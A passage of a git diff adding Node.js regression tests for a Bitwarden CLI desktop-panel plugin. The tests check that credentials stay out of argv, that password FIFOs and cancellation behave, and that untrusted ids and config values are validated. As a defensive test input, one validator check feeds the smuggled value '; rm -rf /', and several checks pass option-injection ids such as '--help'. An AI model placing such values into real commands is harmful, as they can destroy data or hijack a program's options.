=== -1, + refused ? String(refused.stderr) : "") +} + +check("a size within the limit still downloads", + run("sized.txt", {}, "4096") === path.join(downloads, "sized.txt"), "refused a legitimate size") + +// Whatever the server says, nothing exponential may be written into the script. +for (const absurd of ["1e21", "1e30", "1e40", String(Number.MAX_SAFE_INTEGER * 512)]) { + const generated = Model.attachmentDownloadCommand("a", "i", "f.bin", absurd)[2] + check(`every number in the script stays a plain integer for ${absurd}`, + !/[0-9]e[+-][0-9]/.test(generated), generated.split("\n").filter(l => /e[+-][0-9]/.test(l)).join(" | ")) +} + +fs.rmSync(home, { recursive: true, force: true }) + +// --- a server-chosen id cannot become an option to bw ------------------------ +// +// Quoting defends against the shell, not against bw's own parser: `bw get item +// --help` prints help rather than looking anything up, and every id here is the +// server's to choose. `--` ends the options, and our own flags go before it. + +const optionish = "--help" +const guarded = [ + ["getItemCommand", Model.getItemCommand(optionish), "bw get item -- --help"], + ["getTotpCommand", Model.getTotpCommand(optionish), "bw get totp --raw -- --help"], + ["deleteItemCommand", Model.deleteItemCommand(optionish), "bw delete item -- --help"], + ["deleteSendCommand", Model.deleteSendCommand(optionish), "bw send delete -- --help"], +] +for (const [name, cmd, want] of guarded) { + check(`${name} ends the options before the id`, cmd[2].indexOf(want) !== -1, cmd[2]) +} +check("editItemCommand ends the options before the id", + Model.editItemCommand(optionish)[2].indexOf("bw edit item -- '--help'") !== -1, + Model.editItemCommand(optionish)[2]) +check("the attachment id goes last, after our own flags and the separator", + Model.attachmentDownloadCommand(optionish, "i", "f.txt")[2] + .indexOf(`--output "$tmp" -- '--help'`) !== -1, + Model.attachmentDownloadCommand(optionish, "i", "f.txt")[2]) + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) } diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/auth-prewarm.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/auth-prewarm.test.js new file mode 100644 index 0000000..4fae8ca --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/auth-prewarm.test.js @@ -0,0 +1,331 @@ +#!/usr/bin/env node +// Regression coverage for password-FIFO auth prewarming. The expensive bw +// process must be alive before the password is submitted, while the password +// itself stays out of argv and is written only after the user submits. +// +// node tests/auth-prewarm.test.js + +const fs = require("fs") +const os = require("os") +const path = require("path") +const { execFileSync } = require("child_process") + +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.unlockPrewarmCommand = typeof unlockPrewarmCommand === "function" ? unlockPrewarmCommand : null + exports.emailLoginPrewarmCommand = typeof emailLoginPrewarmCommand === "function" ? emailLoginPrewarmCommand : null + exports.apiKeyLoginCommand = typeof apiKeyLoginCommand === "function" ? apiKeyLoginCommand : null + exports.authPasswordWriteCommand = typeof authPasswordWriteCommand === "function" ? authPasswordWriteCommand : null + exports.passwordEnvVar = passwordEnvVar +`)(Model) + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) +const flat = command => (command || []).join(" ") + +check("the model exposes the three prewarming commands", + !!Model.unlockPrewarmCommand && !!Model.emailLoginPrewarmCommand && !!Model.authPasswordWriteCommand, + "unlock, email login and writer commands are required") + +if (Model.unlockPrewarmCommand && Model.emailLoginPrewarmCommand && Model.authPasswordWriteCommand) { + const unlock = Model.unlockPrewarmCommand() + const email = Model.emailLoginPrewarmCommand("person@example.com", false, "") + const email2fa = Model.emailLoginPrewarmCommand("person@example.com", true, "https://vault.example.com") + const writer = Model.authPasswordWriteCommand("unlock") + const distinctive = " exact master password with spaces " + + check("prewarmed unlock makes bw itself wait on a password FIFO", + /bw unlock .*--passwordfile/.test(flat(unlock)) && !flat(unlock).includes("--passwordenv"), flat(unlock)) + check("prewarmed email login makes bw itself wait on a password FIFO", + /bw login .*--passwordfile/.test(flat(email)) && !flat(email).includes("--passwordenv"), flat(email)) + check("email and server inputs remain shell-quoted", + flat(email2fa).includes("'person@example.com'") + && flat(email2fa).includes("'https://vault.example.com'"), flat(email2fa)) + check("2FA still expands from its environment binding", + flat(email2fa).includes('--code "$QSBW_CODE"'), flat(email2fa)) + check("the writer reads the password from the existing protected environment binding", + flat(writer).includes('"$' + Model.passwordEnvVar() + '"'), flat(writer)) + check("neither half embeds a password in its command", + !flat(unlock).includes(distinctive) && !flat(writer).includes(distinctive), flat(unlock) + "\n" + flat(writer)) + check("an unknown FIFO name is rejected instead of becoming a path", + Model.authPasswordWriteCommand("../elsewhere").length === 0, + flat(Model.authPasswordWriteCommand("../elsewhere"))) + check("a normally completed child is disarmed before the EXIT cleanup trap runs", + /wait "\$__auth_job"; __auth_rc=\$\?; __auth_job=''; exit "\$__auth_rc"/.test(flat(unlock)), + flat(unlock)) + + // Exercise the real command pair against a fake bw. The fake announces that + // it has started, then blocks while reading the FIFO. Only after observing + // that announcement do we launch the writer. Leading and trailing spaces + // prove the panel cannot normalize a real master password along the way. + const temp = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-prewarm-")) + const bin = path.join(temp, "bin") + const runtime = path.join(temp, "runtime") + fs.mkdirSync(bin) + fs.mkdirSync(runtime, { mode: 0o700 }) + const started = path.join(temp, "started") + const received = path.join(temp, "received") + const output = path.join(temp, "output") + const error = path.join(temp, "error") + const token = "Zm9vYmFyYmF6cXV1eDEyMzQ1Njc4OTBhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODk9PQ==" + + fs.writeFileSync(path.join(bin, "bw"), `#!/usr/bin/env bash +set -u +password_file="" +while [ "$#" -gt 0 ]; do + if [ "$1" = "--passwordfile" ]; then password_file="$2"; shift 2; else shift; fi +done +printf started > "$QSBW_STUB_STARTED" +[ -n "$password_file" ] || exit 9 +IFS= read -r password < "$password_file" || true +printf '%s' "$password" > "$QSBW_STUB_RECEIVED" +printf '%s' "$QSBW_STUB_TOKEN" +`) + fs.chmodSync(path.join(bin, "bw"), 0o755) + + try { + execFileSync("bash", ["-c", ` +set -euo pipefail +bash -c "$QSBW_PREWARM_SCRIPT" >"$QSBW_OUTPUT" 2>"$QSBW_ERROR" & +auth_pid=$! +started=false +for unused in {1..200}; do + if [ -s "$QSBW_STUB_STARTED" ]; then started=true; break; fi + sleep 0.01 +done +[ "$started" = true ] +bash -c "$QSBW_WRITER_SCRIPT" +wait "$auth_pid" +`], { + env: Object.assign({}, process.env, { + PATH: `${bin}:${process.env.PATH}`, + XDG_RUNTIME_DIR: runtime, + BW_PASSWORD: distinctive, + QSBW_PREWARM_SCRIPT: unlock[2], + QSBW_WRITER_SCRIPT: writer[2], + QSBW_STUB_STARTED: started, + QSBW_STUB_RECEIVED: received, + QSBW_STUB_TOKEN: token, + QSBW_OUTPUT: output, + QSBW_ERROR: error, + }), + stdio: ["ignore", "pipe", "pipe"], + }) + check("bw starts before the writer supplies the password", fs.readFileSync(started, "utf8") === "started", "no start marker") + check("the FIFO preserves the exact password bytes", fs.readFileSync(received, "utf8") === distinctive, + JSON.stringify(fs.readFileSync(received, "utf8"))) + check("the prewarmed command still returns the session token", fs.readFileSync(output, "utf8") === token, + fs.readFileSync(output, "utf8")) + const fifo = path.join(runtime, "qs-bitwarden-cli", "unlock-password.fifo") + check("the password FIFO is removed when auth finishes", !fs.existsSync(fifo), fifo) + } catch (errorCaught) { + failures.push(`the prewarm command pair completes successfully\n ${errorCaught.stderr || errorCaught.message}`) + } finally { + fs.rmSync(temp, { recursive: true, force: true }) + } + + // QML stops a Process by sending SIGTERM to its immediate child. A shell + // waiting for a foreground FIFO reader can defer that signal until the + // reader exits, which would strand both after the panel closes. Exercise + // cancellation separately and require the wrapper, its bw child and the + // FIFO to disappear promptly. + const cancelTemp = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-prewarm-cancel-")) + const cancelBin = path.join(cancelTemp, "bin") + const cancelRuntime = path.join(cancelTemp, "runtime") + fs.mkdirSync(cancelBin) + fs.mkdirSync(cancelRuntime, { mode: 0o700 }) + const childPid = path.join(cancelTemp, "child-pid") + fs.writeFileSync(path.join(cancelBin, "bw"), `#!/usr/bin/env bash +printf '%s' "$$" > "$QSBW_STUB_CHILD_PID" +password_file="" +while [ "$#" -gt 0 ]; do + if [ "$1" = "--passwordfile" ]; then password_file="$2"; shift 2; else shift; fi +done +[ -n "$password_file" ] || exit 9 +IFS= read -r unused < "$password_file" || true +`) + fs.chmodSync(path.join(cancelBin, "bw"), 0o755) + + try { + const result = execFileSync("bash", ["-c", ` +set -u +bash -c "$QSBW_PREWARM_SCRIPT" >"$QSBW_CANCEL_OUTPUT" 2>"$QSBW_CANCEL_ERROR" & +auth_pid=$! +for unused in {1..200}; do [ -s "$QSBW_STUB_CHILD_PID" ] && break; sleep 0.01; done +[ -s "$QSBW_STUB_CHILD_PID" ] || exit 8 +bw_pid=$(cat "$QSBW_STUB_CHILD_PID") +kill -TERM "$auth_pid" +parent_stopped=no +for unused in {1..200}; do + if ! kill -0 "$auth_pid" 2>/dev/null; then parent_stopped=yes; break; fi + sleep 0.01 +done +if [ "$parent_stopped" = no ]; then kill -KILL "$auth_pid" 2>/dev/null || true; fi +wait "$auth_pid" 2>/dev/null || true +child_stopped=no +for unused in {1..200}; do + if ! kill -0 "$bw_pid" 2>/dev/null; then child_stopped=yes; break; fi + sleep 0.01 +done +if [ "$child_stopped" = no ]; then kill -KILL "$bw_pid" 2>/dev/null || true; fi +fifo_gone=no +[ ! -e "$XDG_RUNTIME_DIR/qs-bitwarden-cli/unlock-password.fifo" ] && fifo_gone=yes +printf '%s %s %s' "$parent_stopped" "$child_stopped" "$fifo_gone" +`], { + env: Object.assign({}, process.env, { + PATH: `${cancelBin}:${process.env.PATH}`, + XDG_RUNTIME_DIR: cancelRuntime, + QSBW_PREWARM_SCRIPT: unlock[2], + QSBW_STUB_CHILD_PID: childPid, + QSBW_CANCEL_OUTPUT: path.join(cancelTemp, "output"), + QSBW_CANCEL_ERROR: path.join(cancelTemp, "error"), + }), + encoding: "utf8", + stdio: ["ignore", "pipe", "pipe"], + }) + check("cancelling prewarm stops the wrapper and bw child and removes the FIFO", + result === "yes yes yes", result) + } catch (errorCaught) { + failures.push(`cancelling prewarm completes cleanly\n ${errorCaught.stderr || errorCaught.message}`) + } finally { + fs.rmSync(cancelTemp, { recursive: true, force: true }) + } +} + +// API-key login does not use a password FIFO, but it still runs through the +// same cancellable Process. Stopping that Process must terminate the active bw +// child rather than orphaning an authentication attempt behind the panel. +if (Model.apiKeyLoginCommand) { + const cancelTemp = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-apikey-cancel-")) + const cancelBin = path.join(cancelTemp, "bin") + fs.mkdirSync(cancelBin) + const childPid = path.join(cancelTemp, "child-pid") + fs.writeFileSync(path.join(cancelBin, "bw"), `#!/usr/bin/env bash +printf '%s' "$$" > "$QSBW_STUB_CHILD_PID" +sleep 30 +`) + fs.chmodSync(path.join(cancelBin, "bw"), 0o755) + + try { + const result = execFileSync("bash", ["-c", ` +set -u +bash -c "$QSBW_APIKEY_SCRIPT" >/dev/null 2>&1 & +auth_pid=$! +for unused in {1..200}; do [ -s "$QSBW_STUB_CHILD_PID" ] && break; sleep 0.01; done +[ -s "$QSBW_STUB_CHILD_PID" ] || exit 8 +bw_pid=$(cat "$QSBW_STUB_CHILD_PID") +kill -TERM "$auth_pid" +parent_stopped=no +for unused in {1..200}; do + if ! kill -0 "$auth_pid" 2>/dev/null; then parent_stopped=yes; break; fi + sleep 0.01 +done +if [ "$parent_stopped" = no ]; then kill -KILL "$auth_pid" 2>/dev/null || true; fi +wait "$auth_pid" 2>/dev/null || true +child_stopped=no +for unused in {1..200}; do + if ! kill -0 "$bw_pid" 2>/dev/null; then child_stopped=yes; break; fi + sleep 0.01 +done +if [ "$child_stopped" = no ]; then kill -KILL "$bw_pid" 2>/dev/null || true; fi +printf '%s %s' "$parent_stopped" "$child_stopped" +`], { + env: Object.assign({}, process.env, { + PATH: `${cancelBin}:${process.env.PATH}`, + QSBW_APIKEY_SCRIPT: Model.apiKeyLoginCommand("")[2], + QSBW_STUB_CHILD_PID: childPid, + }), + encoding: "utf8", + stdio: ["ignore", "pipe", "pipe"], + }) + check("cancelling API-key login stops the wrapper and active bw child", + result === "yes yes", result) + } catch (errorCaught) { + failures.push(`cancelling API-key login completes cleanly\n ${errorCaught.stderr || errorCaught.message}`) + } finally { + fs.rmSync(cancelTemp, { recursive: true, force: true }) + } +} + +// The QML lifecycle is part of the security boundary: start early, write only +// on submit, and stop a waiting process when the panel closes. +const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8") +const bodyOf = name => { + const start = panelSrc.indexOf(`function ${name}(`) + if (start === -1) return "" + let depth = 0 + for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) { + if (panelSrc[i] === "{") depth++ + else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1) + } + return "" +} + +check("opening an already-locked panel starts unlock prewarming", + /prepareUnlock\(\)/.test(bodyOf("onPanelOpened")), bodyOf("onPanelOpened")) +check("submitting unlock writes to the prepared FIFO", + /writeAuthPassword\("unlock",\s*p\)/.test(bodyOf("unlockVaultWithPassword")), bodyOf("unlockVaultWithPassword")) +check("closing the panel cancels auth prewarming", + /cancelAuthPrewarm/.test(bodyOf("close")), bodyOf("close")) +check("an unreadable status result cancels a prewarm that can no longer be used", + /if\s*\(!st\)\s*\{\s*cancelAuthPrewarm\(\)/.test(bodyOf("onStatusFinished")), + bodyOf("onStatusFinished")) +check("an externally unlocked status cancels the obsolete locked-state prewarm", + /if\s*\(st\.unlocked\)\s*\{\s*cancelAuthPrewarm\(\)/.test(bodyOf("onStatusFinished")), + bodyOf("onStatusFinished")) +check("master-password validation preserves whitespace", + /var p\s*=\s*String\(/.test(bodyOf("unlockVaultWithPassword")) + && !/var p\s*=\s*String\([^\n]+\.trim\(\)/.test(bodyOf("unlockVaultWithPassword")), + bodyOf("unlockVaultWithPassword")) +check("focusing the email-login password field prepares login", + /id:\s*loginPassField[\s\S]{0,700}onActiveFocusChanged:[\s\S]{0,160}prepareEmailLogin/.test(panelSrc), + "loginPassField has no prewarm focus handler") +const prepareEmail = bodyOf("prepareEmailLogin") +check("a custom server is not configured by focus-only prewarming", + /var serverUrl\s*=\s*resolvedLoginServerUrl\(\)/.test(prepareEmail) + && /if\s*\(serverUrl\)\s*return/.test(prepareEmail) + && prepareEmail.indexOf("resolvedLoginServerUrl") < prepareEmail.indexOf("loginProc.command"), + prepareEmail) +check("submitting while an obsolete login prewarm stops queues a clean restart", + /loginSubmitAfterPrewarmStop\s*=\s*true/.test(bodyOf("submitLogin")) + && /loginProc\.running\s*=\s*false/.test(bodyOf("submitLogin")), + bodyOf("submitLogin")) +const loginProcBlock = panelSrc.slice(panelSrc.indexOf("id: loginProc"), panelSrc.indexOf("id: authPasswordWriterProc")) +// The dispatch lives in resumeDeferredLogin() so both ways the process can end +// -- its own exit, and the buffer scrub that may follow it -- go through it. +// A scrub that returned early used to drop the queued login silently. +const resumeDeferredBlock = bodyOf("resumeDeferredLogin") +check("the obsolete prewarm exit starts the queued login instead of consuming its result", + /loginSubmitAfterPrewarmStop[\s\S]*submitLogin/.test(resumeDeferredBlock) + && /resumeDeferredLogin\(true\)/.test(loginProcBlock), + resumeDeferredBlock) +check("a queued login survives the buffer scrub taking the process first", + /finishScrubRun\(loginProc\)\)\s*\{[\s\S]{0,140}resumeDeferredLogin\(false\)/.test(loginProcBlock), + loginProcBlock) +check("focusing during prewarm shutdown queues another prewarm", + /loginPrepareAfterPrewarmStop\s*=\s*true/.test(bodyOf("prepareEmailLogin")), + bodyOf("prepareEmailLogin")) +check("the stopped process services a queued prewarm when no submit is waiting", + /loginPrepareAfterPrewarmStop[\s\S]*prepareEmailLogin/.test(resumeDeferredBlock), + resumeDeferredBlock) +check("a cancelled login with no queued restart scrubs any token that won the exit race", + /else if \(mayScrub\) \{\s*\n\s*clearProcessCollectorSoon\(loginProc\)/.test(resumeDeferredBlock), + resumeDeferredBlock) +// The scrub is the fallback, so a queued restart must be preferred to it -- +// otherwise the restart is what gets dropped. +check("a queued restart is dispatched in preference to the scrub", + resumeDeferredBlock.indexOf("loginSubmitAfterPrewarmStop") + < resumeDeferredBlock.indexOf("clearProcessCollectorSoon"), + resumeDeferredBlock) +const unlockProcBlock = panelSrc.slice(panelSrc.indexOf("id: unlockProc"), panelSrc.indexOf("id: logoutProc")) +check("a cancelled unlock scrubs any token that won the exit race", + /!root\.unlockSubmitted[\s\S]{0,120}clearProcessCollectorSoon\(unlockProc\)/.test(unlockProcBlock), + unlockProcBlock) + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { + console.error("\nFAILURES:\n " + failures.join("\n ")) + process.exit(1) +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/auth.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/auth.test.js new file mode 100644 index 0000000..2f486b5 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/auth.test.js @@ -0,0 +1,1195 @@ +#!/usr/bin/env node +// Tests for the commands that unlock the vault: unlock, email login, API key +// login. The property under test is the one that matters most here -- none of +// them may put a credential in an argv, because /proc//cmdline is +// world-readable on a default Linux install and these are the credentials that +// open everything else. +// +// node tests/auth.test.js + +const fs = require("fs") +const os = require("os") +const path = require("path") +const { execFileSync, spawnSync } = require("child_process") + +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.unlockPrewarmCommand = unlockPrewarmCommand + exports.emailLoginPrewarmCommand = emailLoginPrewarmCommand + exports.apiKeyLoginCommand = apiKeyLoginCommand + exports.loginServerUrlFor = typeof loginServerUrlFor === "function" ? loginServerUrlFor : null + exports.passwordEnvVar = passwordEnvVar + exports.clientIdEnvVar = clientIdEnvVar + exports.clientSecretEnvVar = clientSecretEnvVar + exports.twoFactorCodeEnvVar = twoFactorCodeEnvVar + exports.loginNeedsSecondFactor = typeof loginNeedsSecondFactor === "function" ? loginNeedsSecondFactor : null + exports.loginNeedsDeviceVerification = typeof loginNeedsDeviceVerification === "function" ? loginNeedsDeviceVerification : null + exports.loginNeedsMethodChoice = typeof loginNeedsMethodChoice === "function" ? loginNeedsMethodChoice : null + exports.deviceVerificationLoginCommand = typeof deviceVerificationLoginCommand === "function" ? deviceVerificationLoginCommand : null + exports.loginPromptRanOutOfInput = typeof loginPromptRanOutOfInput === "function" ? loginPromptRanOutOfInput : null + exports.sanitizeInteractiveStderr = typeof sanitizeInteractiveStderr === "function" ? sanitizeInteractiveStderr : null + exports.deviceCodeEnvVar = typeof deviceCodeEnvVar === "function" ? deviceCodeEnvVar : null + exports.secondFactorWindowOpen = typeof secondFactorWindowOpen === "function" ? secondFactorWindowOpen : null + exports.loginDiagnostic = typeof loginDiagnostic === "function" ? loginDiagnostic : null + exports.loginHasNoUsableProvider = typeof loginHasNoUsableProvider === "function" ? loginHasNoUsableProvider : null + exports.twoFactorMethods = typeof twoFactorMethods === "function" ? twoFactorMethods : null + exports.isTwoFactorMethod = typeof isTwoFactorMethod === "function" ? isTwoFactorMethod : null + exports.twoFactorMethodLabel = typeof twoFactorMethodLabel === "function" ? twoFactorMethodLabel : null + exports.rememberedTwoFactorMethodFor = typeof rememberedTwoFactorMethodFor === "function" ? rememberedTwoFactorMethodFor : null + exports.rememberTwoFactorMethodIn = typeof rememberTwoFactorMethodIn === "function" ? rememberTwoFactorMethodIn : null + exports.forgetTwoFactorMethodIn = typeof forgetTwoFactorMethodIn === "function" ? forgetTwoFactorMethodIn : null + exports.settingWriteCommand = typeof settingWriteCommand === "function" ? settingWriteCommand : null + exports.noInteractionEnvVar = noInteractionEnvVar + exports.sessionEnvVar = sessionEnvVar + exports.extractSessionToken = extractSessionToken + exports.isSessionToken = isSessionToken + exports.keyringClearAllCommand = keyringClearAllCommand + exports.keyringStoreMasterPasswordCommand = keyringStoreMasterPasswordCommand + exports.keyringLookupMasterPasswordCommand = keyringLookupMasterPasswordCommand + exports.pinStoreCommand = pinStoreCommand + exports.keyringSecretEnvVar = keyringSecretEnvVar +`)(Model) + +let pass = 0 +const failures = [] +const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`) + +// Distinctive enough that a substring search cannot miss them. +const MASTER = "correct-horse-battery-staple" +const CLIENT_ID = "user.11111111-2222-3333-4444-555555555555" +const CLIENT_SECRET = "sEcReTcLiEnTsTrInG" +const CODE = "249213" +const SERVER = "https://vault.example.com" + +// Fixes #6. Cloud regions are distinct Bitwarden environments, while a +// self-hosted installation still needs to retain the free-form server path. +check("the login server selector maps US, EU and custom without conflating them", + Model.loginServerUrlFor + && Model.loginServerUrlFor("us", SERVER) === "https://vault.bitwarden.com" + && Model.loginServerUrlFor("eu", SERVER) === "https://vault.bitwarden.eu" + && Model.loginServerUrlFor("custom", ` ${SERVER} `) === SERVER, + "US and EU must use their official vault URLs, and custom the entered URL") +check("an invalid login server selection falls back to the safe US default", + Model.loginServerUrlFor + && Model.loginServerUrlFor("", SERVER) === "https://vault.bitwarden.com" + && Model.loginServerUrlFor("other", SERVER) === "https://vault.bitwarden.com", + "unknown region values must not turn a stale custom URL into a destination") + +check("only explicit Bitwarden second-factor challenges reveal the follow-up prompt", + Model.loginNeedsSecondFactor + && Model.loginNeedsSecondFactor("", "Two factor required.") + && Model.loginNeedsSecondFactor("", "Two-step token is invalid. Try again.") + && Model.loginNeedsSecondFactor("", "Verification code required") + && !Model.loginNeedsSecondFactor("", "Response status code does not indicate success: 401") + && !Model.loginNeedsSecondFactor("", "invalid_grant"), + "generic status codes or invalid_grant must not be treated as MFA") +check("Bitwarden CLI 2026.2.0's standalone required-code error reveals the follow-up prompt", + Model.loginNeedsSecondFactor && Model.loginNeedsSecondFactor("", "Code is required."), + "Code is required. must be treated as a login verification challenge") + +// Fixes #4. bw says "Code is required." to two different challenges. One of +// them, new-device verification, has no --code flag and no non-interactive +// answer at all, so treating it as a rejected two-step code asks the user for +// the same code forever. The attempt that already carried one is what tells +// them apart. +check("a required-code challenge answering an attempt that carried a code is device verification", + Model.loginNeedsDeviceVerification + && Model.loginNeedsDeviceVerification("", "Code is required.", true), + "a second Code is required. after --code cannot be a rejected two-step code") +check("the same message on the first attempt is still an ordinary second-factor prompt", + Model.loginNeedsDeviceVerification + && !Model.loginNeedsDeviceVerification("", "Code is required.", false) + && Model.loginNeedsSecondFactor("", "Code is required."), + "the two challenges are indistinguishable until a code has been sent") +check("a genuinely rejected two-step code is not mistaken for device verification", + Model.loginNeedsDeviceVerification + && !Model.loginNeedsDeviceVerification("", "Two-step token is invalid. Try again.", true) + && !Model.loginNeedsDeviceVerification("", "Login failed. No provider selected.", true) + && !Model.loginNeedsDeviceVerification("", "Username or password is incorrect. Try again.", true), + "only the bare required-code sentence means the code was never read") + +// --- the two-step method question ------------------------------------------- +// +// bw picks the provider itself when an account has exactly one, and asks when +// it has more. It asks by failing, because the menu it would otherwise draw +// needs a terminal. Answering by guessing is what produces a failed login, so +// the panel treats the message as the question it is. +check("bw's provider question is recognised as a question, not a credential failure", + Model.loginNeedsMethodChoice + && Model.loginNeedsMethodChoice("", "Login failed. No provider selected.") + && !Model.loginNeedsMethodChoice("", "Code is required.") + && !Model.loginNeedsMethodChoice("", "Username or password is incorrect. Try again."), + "only No provider selected. means bw wants --method") +check("an account whose methods this client cannot perform is a separate dead end", + Model.loginHasNoUsableProvider + && Model.loginHasNoUsableProvider("", "Login failed. No providers available for this client.") + && !Model.loginHasNoUsableProvider("", "Login failed. No provider selected.") + && !Model.loginNeedsMethodChoice("", "Login failed. No providers available for this client."), + "the two provider messages must not be confused for one another") + +// getSupportedProviders() gates Duo and Organization Duo behind supportsDuo() +// and WebAuthn behind supportsWebAuthn(), both of which the CLI's platform +// layer hardcodes to false. So these three are not a shortlist -- they are +// every provider bw can act on, which is what makes a fixed picker complete. +check("the method picker offers every provider bw can use and nothing it cannot", + Model.twoFactorMethods + && Model.twoFactorMethods().map((m) => m.method).join(",") === "0,3,1" + && Model.twoFactorMethods().every((m) => m.label && m.hint), + JSON.stringify(Model.twoFactorMethods && Model.twoFactorMethods())) +check("the picker's table is copied, so a caller cannot edit the set of methods", + (() => { + const first = Model.twoFactorMethods() + first[0].method = 99 + return Model.twoFactorMethods()[0].method === 0 + })(), + "twoFactorMethods() must not hand out its own entries") +check("only a listed method may reach the command line", + Model.isTwoFactorMethod(0) && Model.isTwoFactorMethod(1) && Model.isTwoFactorMethod(3) + && !Model.isTwoFactorMethod(2) && !Model.isTwoFactorMethod(7) + && !Model.isTwoFactorMethod(-1) && !Model.isTwoFactorMethod("0") + && !Model.isTwoFactorMethod(null) && !Model.isTwoFactorMethod(undefined), + "membership of the table, not shape, is the test") + +// shell.json is not validated by whatever writes it, and this value goes +// straight back into an argv. +const R = Model.rememberedTwoFactorMethodFor +const STORE = { "a@example.com": 0, "b@example.com": 1 } +check("a remembered method is validated on the way back out of shell.json", + R && R(STORE, "a@example.com") === 0 + && R({ "a@example.com": "3" }, "a@example.com") === 3 + && R({ "a@example.com": 2 }, "a@example.com") === -1 + && R({ "a@example.com": 9 }, "a@example.com") === -1 + && R({ "a@example.com": "; rm -rf /" }, "a@example.com") === -1 + && R({ "a@example.com": null }, "a@example.com") === -1 + // Number() reads all of these as 0, which is Authenticator. An unset entry + // must not come back as a confident answer. + && R({ "a@example.com": "" }, "a@example.com") === -1 + && R({ "a@example.com": false }, "a@example.com") === -1 + && R({ "a@example.com": true }, "a@example.com") === -1 + && R({ "a@example.com": [1] }, "a@example.com") === -1 + && R({ "a@example.com": {} }, "a@example.com") === -1, + "anything not in the table reads as not remembered") + +// The bug this replaced: one method for the whole machine, so a second vault +// was sent the first vault's method and had to be talked out of it. +check("each account keeps its own method", + R(STORE, "a@example.com") === 0 && R(STORE, "b@example.com") === 1 + && R(STORE, "c@example.com") === -1, + JSON.stringify(STORE)) +check("the login address is matched the way Bitwarden treats it", + R(STORE, " A@Example.COM ") === 0 + && Model.rememberTwoFactorMethodIn({}, " A@Example.COM ", 1)["a@example.com"] === 1, + "case and whitespace must not make an account remember itself twice") +check("no account, no memory", + R(STORE, "") === -1 && R(STORE, null) === -1 && R(null, "a@example.com") === -1 + && R("not an object", "a@example.com") === -1, + "an absent or unreadable store is not an answer") + +// Rebuilt rather than mutated, so a hand-edit cannot survive into what is +// written back. +const grown = Model.rememberTwoFactorMethodIn( + { "a@example.com": 0, "junk@example.com": 99, "b@example.com": 1 }, "c@example.com", 3) +check("remembering one account leaves the others alone and drops what it cannot read", + grown["a@example.com"] === 0 && grown["b@example.com"] === 1 + && grown["c@example.com"] === 3 && !("junk@example.com" in grown), + JSON.stringify(grown)) +check("an existing account is updated rather than duplicated", + (() => { + const out = Model.rememberTwoFactorMethodIn(STORE, "a@example.com", 1) + return out["a@example.com"] === 1 && Object.keys(out).length === 2 + })(), + "re-answering must replace, not append") +check("the store is bounded, because a config file is not a history", + (() => { + let store = {} + for (let i = 0; i < 30; i++) { + store = Model.rememberTwoFactorMethodIn(store, `u${i}@example.com`, 0) + } + return Object.keys(store).length <= 10 && store["u29@example.com"] === 0 + })(), + "the newest answer must always survive the cap") +check("forgetting one account forgets only that one", + (() => { + const out = Model.forgetTwoFactorMethodIn(STORE, "a@example.com") + return !("a@example.com" in out) && out["b@example.com"] === 1 + })(), + "a stale method for one vault must not clear another's") +// `flat` is declared further down; this block runs before it. +const jsonWrite = Model.settingWriteCommand("twoFactorMethods", { "a@example.com": 1 }, "json").join(" ") +check("a per-account map reaches shell.json as JSON, not as a number", + jsonWrite.includes('{"a@example.com":1}') && jsonWrite.includes("--json"), jsonWrite) +check("an integer setting is still written as an integer", + Model.settingWriteCommand("autoLockMinutes", 15, "int").join(" ").includes("'15'"), + Model.settingWriteCommand("autoLockMinutes", 15, "int").join(" ")) + +// Everything a builder could conceivably interpolate, flattened to one string. +const flat = (cmd) => cmd.join(" ") + +// --- no credential may reach any argv --------------------------------------- + +const unlock = Model.unlockPrewarmCommand() +check("unlock takes no password argument at all", + Model.unlockPrewarmCommand.length === 0, `arity ${Model.unlockPrewarmCommand.length}`) +check("unlock reads the submitted password from its private FIFO", + flat(unlock).includes("--passwordfile") && !flat(unlock).includes("--passwordenv"), flat(unlock)) +check("unlock caps output and diagnostic stderr on the producer side", + flat(unlock).includes("head -c") && flat(unlock).includes("exec 2>"), flat(unlock)) + +// The builders are called the way Panel.qml calls them: with what shapes the +// command, never with the secret itself. +const emailPlain = Model.emailLoginPrewarmCommand("john@example.com", false, "") +const emailFull = Model.emailLoginPrewarmCommand("john@example.com", true, SERVER) +const apiKey = Model.apiKeyLoginCommand("") +const apiKeyServer = Model.apiKeyLoginCommand(SERVER) + +const everyCommand = [ + ["unlock", unlock], + ["email login", emailPlain], + ["email login with a 2FA code and a custom server", emailFull], + ["api key login", apiKey], + ["api key login with a custom server", apiKeyServer] +] + +for (const [label, cmd] of everyCommand) { + const text = flat(cmd) + check(`${label} carries no master password in argv`, !text.includes(MASTER), text) + check(`${label} carries no client secret in argv`, !text.includes(CLIENT_SECRET), text) + check(`${label} carries no client id in argv`, !text.includes(CLIENT_ID), text) + // An inline `VAR=value bw ...` prefix is exactly how the secrets used to + // leak: the assignment lands in the wrapping shell's own command line. + check(`${label} assigns no credential inline in the script`, + !/\b(BW_PASSWORD|BW_CLIENTID|BW_CLIENTSECRET)=/.test(text), text) +} + +// The builders cannot leak what they are never given, so also assert they no +// longer accept a secret -- a caller 